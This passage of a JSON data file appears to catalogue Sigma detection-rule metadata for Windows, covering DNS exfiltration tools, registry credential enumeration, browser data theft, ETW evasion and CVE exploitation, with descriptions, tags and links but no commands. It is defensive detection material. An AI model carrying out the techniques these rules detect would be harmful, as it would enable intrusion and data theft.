DLL", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/02", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_dll_sideload_vmware_xfer.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_vmware_xfer.yml", - "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ] - }, - "uuid": "ebea773c-a8f1-42ad-a856-00cb221966e8", - "value": "DLL Sideloading by VMware Xfer Utility" - }, - { - "description": "The PowerShell implementation of DNSCat2 calls nslookup to craft queries. Counting nslookup processes spawned by PowerShell will show hundreds or thousands of instances if PS DNSCat2 is active locally.", - "meta": { - "author": "Cian Heasley", - "creation_date": "2020/08/08", - "falsepositive": [ - "Other powershell scripts that call nslookup.exe" - ], - "filename": "proc_creation_win_dnscat2_powershell_implementation.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/lukebaggett/dnscat2-powershell", - "https://ragged-lab.blogspot.com/2020/06/it-is-always-dns-powershell-edition.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscat2_powershell_implementation.yml", - "https://blu3-team.blogspot.com/2019/08/powershell-dns-c2-notes.html" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071", - "attack.t1071.004", - "attack.t1001.003", - "attack.t1041" - ] - }, - "uuid": "b11d75d6-d7c1-11ea-87d0-0242ac130003", - "value": "DNSCat2 Powershell Implementation Detection Via Process Creation" - }, - { - "description": "Detects an attempt to add a potentially crafted DLL as a plug in of the DNS Service.\nDetects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain.\nDNS zones used to host the DNS records for a particular domain\n", - "meta": { - "author": "@gott_cyber", - "creation_date": "2022/07/31", - "falsepositive": [ - "Legitimate administration use" - ], - "filename": "proc_creation_win_dnscmd_discovery.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd", - "https://docs.microsoft.com/en-us/azure/dns/dns-zones-records", - "https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.execution", - "attack.t1543.003" - ] - }, - "uuid": "b6457d63-d2a2-4e29-859d-4e7affc153d1", - "value": "Discovery/Execution via dnscmd.exe" - }, - { - "description": "Well-known DNS Exfiltration tools execution", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate usage of iodine or dnscat2 — DNS Exfiltration tools (unlikely)" - ], - "filename": "proc_creation_win_dns_exfiltration_tools_execution.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_exfiltration_tools_execution.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.001", - "attack.command_and_control", - "attack.t1071.004", - "attack.t1132.001" - ] - }, - "uuid": "98a96a5a-64a0-4c42-92c5-489da3866cb0", - "value": "DNS Exfiltration and Tunneling Tools Execution" - }, - { - "description": "Detects the installation of a plugin DLL via ServerLevelPluginDll parameter in Registry, which can be used to execute code in context of the DNS server (restart required)", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/05/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_dns_serverlevelplugindll.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_serverlevelplugindll.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002", - "attack.t1112" - ] - }, - "uuid": "f63b56ee-3f79-4b8a-97fb-5c48007e8573", - "value": "DNS ServerLevelPluginDll Install" - }, - { - "description": "dotnet.exe will execute any DLL and execute unsigned code", - "meta": { - "author": "Beyu Denis, oscd.community", - "creation_date": "2020/10/18", - "falsepositive": [ - "System administrator Usage" - ], - "filename": "proc_creation_win_dotnet.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/_felamos/status/1204705548668555264", - "https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dotnet/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dotnet.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218" - ] - }, - "uuid": "d80d5c81-04ba-45b4-84e4-92eba40e0ad3", - "value": "Dotnet.exe Exec Dll and Execute Unsigned Code LOLBIN" - }, - { - "description": "Detects usage of Dsacls to grant over permissive permissions", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/20", - "falsepositive": [ - "Legitimate administrators granting over permissive permissions to users" - ], - "filename": "proc_creation_win_dsacls_abuse_permissions.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", - "https://ss64.com/nt/dsacls.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_abuse_permissions.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218" - ] - }, - "uuid": "01c42d3c-242d-4655-85b2-34f1739632f7", - "value": "Abusing Permissions Using Dsacls" - }, - { - "description": "Detects possible password spraying attempts using Dsacls", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/20", - "falsepositive": [ - "Legitimate use of dsacls to bind to an LDAP session" - ], - "filename": "proc_creation_win_dsacls_password_spray.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)", - "https://ss64.com/nt/dsacls.html", - "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions#password-spraying-anyone", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_password_spray.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218" - ] - }, - "uuid": "bac9fb54-2da7-44e9-988f-11e9a5edbc0c", - "value": "Password Spraying Attempts Using Dsacls" - }, - { - "description": "Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images", - "meta": { - "author": "frack113", - "creation_date": "2022/01/16", - "falsepositive": [ - "Legitimate script" - ], - "filename": "proc_creation_win_dsim_remove.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-26---disable-windows-defender-with-dism", - "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsim_remove.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "43e32da2-fdd0-4156-90de-50dfd62636f9", - "value": "Dism Remove Online Package" - }, - { - "description": "Detects the use of the filename DumpStack.log to evade Microsoft Defender", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/06", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_dumpstack_log_evasion.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/mrd0x/status/1479094189048713219", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dumpstack_log_evasion.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "4f647cfa-b598-4e12-ad69-c68dd16caef8", - "value": "DumpStack.log Defender Evasion" - }, - { - "description": "Detects email exfiltration via powershell cmdlets", - "meta": { - "author": "Nasreddine Bencherchali (rule), Azure-Sentinel (idea)", - "creation_date": "2022/09/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_email_exfil_via_powershell.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/Azure/Azure-Sentinel/blob/7e6aa438e254d468feec061618a7877aa528ee9f/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Email%20data%20exfiltration%20via%20PowerShell.yaml", - "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_email_exfil_via_powershell.yml" - ], - "tags": [ - "attack.exfiltration" - ] - }, - "uuid": "312d0384-401c-4b8b-abdf-685ffba9a332", - "value": "Email Exifiltration Via Powershell" - }, - { - "description": "Detects events that appear when a user click on a link file with a powershell command in it", - "meta": { - "author": "frack113", - "creation_date": "2022/02/06", - "falsepositive": [ - "Legitimate commands in .lnk files" - ], - "filename": "proc_creation_win_embed_exe_lnk.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_embed_exe_lnk.yml", - "https://www.x86matthew.com/view_post?id=embed_exe_lnk" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "30e92f50-bb5a-4884-98b5-d20aa80f3d7a", - "value": "Hidden Powershell in Link File Pattern" - }, - { - "description": "Detects a base64 encoded FromBase64String keyword in a process command line", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/08/24", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_encoded_frombase64string.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_encoded_frombase64string.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "fdb62a13-9a81-4e5c-a38f-ea93a16f6d7c", - "value": "Encoded FromBase64String" - }, - { - "description": "Detects a base64 encoded IEX command string in a process command line", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/08/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_encoded_iex.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_encoded_iex.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "88f680b8-070e-402c-ae11-d2914f2257f1", - "value": "Encoded IEX" - }, - { - "description": "Detects processes that query known 3rd party registry keys that holds credentials via commandline", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_enumeration_for_credentials_cli.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/synacktiv/Radmin3-Password-Cracker/blob/acfc87393e4b7c06353973a14a6c7126a51f36ac/regkey.txt", - "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry", - "https://isc.sans.edu/diary/More+Data+Exfiltration/25698", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_enumeration_for_credentials_cli.yml", - "https://github.com/HyperSine/how-does-MobaXterm-encrypt-password" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.002" - ] - }, - "uuid": "87a476dc-0079-4583-a985-dee7a20a03de", - "value": "Enumeration for 3rd Party Creds From CLI" - }, - { - "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials.\nThe Windows Registry stores configuration information that can be used by the system or other programs.\nAdversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_enumeration_for_credentials_in_registry.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.002/T1552.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_enumeration_for_credentials_in_registry.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.002" - ] - }, - "uuid": "e0b0c2ab-3d52-46d9-8cb7-049dc775fbd1", - "value": "Enumeration for Credentials in Registry" - }, - { - "description": "One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe", - "meta": { - "author": "frack113", - "creation_date": "2022/02/13", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_esentutl_webcache.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml", - "https://redcanary.com/threat-detection-report/threats/qbot/", - "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/" - ], - "tags": [ - "attack.collection", - "attack.t1005" - ] - }, - "uuid": "6a69f62d-ce75-4b57-8dce-6351eb55b362", - "value": "Esentutl Steals Browser Information" - }, - { - "description": "Potential adversaries stopping ETW providers recording loaded .NET assemblies.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_etw_modification_cmdline.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_etw_modification_cmdline.yml", - "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", - "https://bunnyinside.com/?term=f71e8cb9c76a", - "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", - "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", - "https://twitter.com/_xpn_/status/1268712093928378368", - "http://managed670.rssing.com/chan-5590147/all_p1.html", - "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", - "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", - "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ] - }, - "uuid": "41421f44-58f9-455d-838a-c398859841d4", - "value": "COMPlus_ETWEnabled Command Line Arguments" - }, - { - "description": "Detects a command that clears or disables any ETW trace log which could indicate a logging evasion.", - "meta": { - "author": "@neu5ron, Florian Roth, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2019/03/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_etw_trace_evasion.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_etw_trace_evasion.yml", - "https://abuse.io/lockergoga.txt", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil", - "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070", - "attack.t1562.006", - "car.2016-04-002" - ] - }, - "uuid": "a238b5d0-ce2d-4414-a676-7a531b3d13d6", - "value": "Disable of ETW Trace" - }, - { - "description": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.", - "meta": { - "author": "frack113", - "creation_date": "2022/01/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_evil_winrm.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/Hackplayers/evil-winrm", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-3---winrm-access-with-evil-winrm", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_evil_winrm.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.006" - ] - }, - "uuid": "a197e378-d31b-41c0-9635-cfdf1c1bb423", - "value": "WinRM Access with Evil-WinRM" - }, - { - "description": "Detects execution via MSSQL xp_cmdshell stored procedure. Malicious users may attempt to elevate their privileges by using xp_cmdshell, which is disabled by default.", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_execution_mssql_xp_cmdshell_stored_procedure.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.elastic.co/guide/en/security/current/execution-via-mssql-xp_cmdshell-stored-procedure.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_execution_mssql_xp_cmdshell_stored_procedure.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "344482e4-a477-436c-aa70-7536d18a48c7", - "value": "Execution via MSSQL Xp_cmdshell Stored Procedure" - }, - { - "description": "Execution of well known tools for data exfiltration and tunneling", - "meta": { - "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate Administrator using tools" - ], - "filename": "proc_creation_win_exfiltration_and_tunneling_tools_execution.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exfiltration_and_tunneling_tools_execution.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.command_and_control", - "attack.t1041", - "attack.t1572", - "attack.t1071.001" - ] - }, - "uuid": "c75309a3-59f8-4a8d-9c2c-4c927ad50555", - "value": "Exfiltration and Tunneling Tools Execution" - }, - { - "description": "Detects the use of various cli utility related to web request exfiltrating data", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/02", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_exfil_data_via_cli.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exfil_data_via_cli.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "7d1aaf3d-4304-425c-b7c3-162055e0b3ab", - "value": "Possible Exfiltration Of Data Via CLI" - }, - { - "description": "Adversaries can use the inbuilt expand utility to decompress cab files as seen in recent Iranian MeteorExpress attack", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/07/30", - "falsepositive": [ - "System administrator Usage" - ], - "filename": "proc_creation_win_expand_cabinet_files.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", - "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_expand_cabinet_files.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218" - ] - }, - "uuid": "9f107a84-532c-41af-b005-8d12a607639f", - "value": "Cabinet File Expansion" - }, - { - "description": "Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/02/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2015_1641.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.virustotal.com/en/file/5567408950b744c4e846ba8ae726883cb15268a539f3bb21758a466e47021ae8/analysis/", - "https://www.hybrid-analysis.com/sample/5567408950b744c4e846ba8ae726883cb15268a539f3bb21758a466e47021ae8?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2015_1641.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.005" - ] - }, - "uuid": "7993792c-5ce2-4475-a3db-a3a5539827ef", - "value": "Exploit for CVE-2015-1641" - }, - { - "description": "Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262", - "meta": { - "author": "Florian Roth", - "creation_date": "2018/02/22", - "falsepositive": [ - "Several false positives identified, check for suspicious file names or locations (e.g. Temp folders)" - ], - "filename": "proc_creation_win_exploit_cve_2017_0261.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_0261.yml" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.t1204.002", - "attack.initial_access", - "attack.t1566.001" - ] - }, - "uuid": "864403a1-36c9-40a2-a982-4c9a45f7d833", - "value": "Exploit for CVE-2017-0261" - }, - { - "description": "Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/11/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2017_11882.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_11882.yml", - "https://www.hybrid-analysis.com/sample/2a4ae284c76f868fc51d3bb65da8caa6efacb707f265b25c30f34250b76b7507?environmentId=100", - "https://www.google.com/url?hl=en&q=https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about&source=gmail&ust=1511481120837000&usg=AFQjCNGdL7gVwLXaNSl2Td8ylDYbSJFmPw" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.t1204.002", - "attack.initial_access", - "attack.t1566.001" - ] - }, - "uuid": "678eb5f4-8597-4be6-8be7-905e4234b53a", - "value": "Droppers Exploiting CVE-2017-11882" - }, - { - "description": "Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/09/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2017_8759.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.hybrid-analysis.com/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2017_8759.yml", - "https://www.reverse.it/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100" - ], - "tags": [ - "attack.execution", - "attack.t1203", - "attack.t1204.002", - "attack.initial_access", - "attack.t1566.001" - ] - }, - "uuid": "fdd84c68-a1f6-47c9-9477-920584f94905", - "value": "Exploit for CVE-2017-8759" - }, - { - "description": "Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378", - "meta": { - "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", - "creation_date": "2019/11/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2019_1378.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1378.yml", - "https://www.embercybersecurity.com/blog/cve-2019-1378-exploiting-an-access-control-privilege-escalation-vulnerability-in-windows-10-update-assistant-wua" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068", - "attack.execution", - "attack.t1059.003", - "attack.t1574", - "cve.2019.1378" - ] - }, - "uuid": "1c373b6d-76ce-4553-997d-8c1da9a6b5f5", - "value": "Exploiting SetupComplete.cmd CVE-2019-1378" - }, - { - "description": "Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/11/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2019_1388.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2019_1388.yml", - "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1388" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ] - }, - "uuid": "02e0b2ea-a597-428e-b04a-af6a1a403e5c", - "value": "Exploiting CVE-2019-1388" - }, - { - "description": "Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/03/25", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_cve_2020_10189.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_10189.yml", - "https://vulmon.com/exploitdetails?qidtp=exploitdb&qid=48224" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.execution", - "attack.t1059.001", - "attack.t1059.003", - "attack.s0190", - "cve.2020.10189" - ] - }, - "uuid": "846b866e-2a57-46ee-8e16-85fa92759be7", - "value": "Exploited CVE-2020-10189 Zoho ManageEngine" - }, - { - "description": "Detects new commands that add new printer port which point to suspicious file", - "meta": { - "author": "EagleEye Team, Florian Roth", - "creation_date": "2020/05/13", - "falsepositive": [ - "New printer port install on host" - ], - "filename": "proc_creation_win_exploit_cve_2020_1048.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1048.yml", - "https://windows-internals.com/printdemon-cve-2020-1048/" - ], - "tags": [ - "attack.persistence", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "cc08d590-8b90-413a-aff6-31d1a99678d7", - "value": "Suspicious PrinterPorts Creation (CVE-2020-1048)" - }, - { - "description": "Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/07/15", - "falsepositive": [ - "Unknown but benign sub processes of the Windows DNS service dns.exe" - ], - "filename": "proc_creation_win_exploit_cve_2020_1350.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1350.yml", - "https://blog.menasec.net/2019/02/threat-hunting-24-microsoft-windows-dns.html" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.execution", - "attack.t1569.002" - ] - }, - "uuid": "b5281f31-f9cc-4d0d-95d0-45b91c45b487", - "value": "DNS RCE CVE-2020-1350" - }, - { - "description": "Detects signs of the exploitation of LPE CVE-2021-41379 to spawn a cmd.exe with LOCAL_SYSTEM rights", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/11/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_lpe_cve_2021_41379.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/klinix5/InstallerFileTakeOver", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_lpe_cve_2021_41379.yml", - "https://www.zerodayinitiative.com/advisories/ZDI-21-1308/" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068" - ] - }, - "uuid": "af8bbce4-f751-46b4-8d91-82a33a736f61", 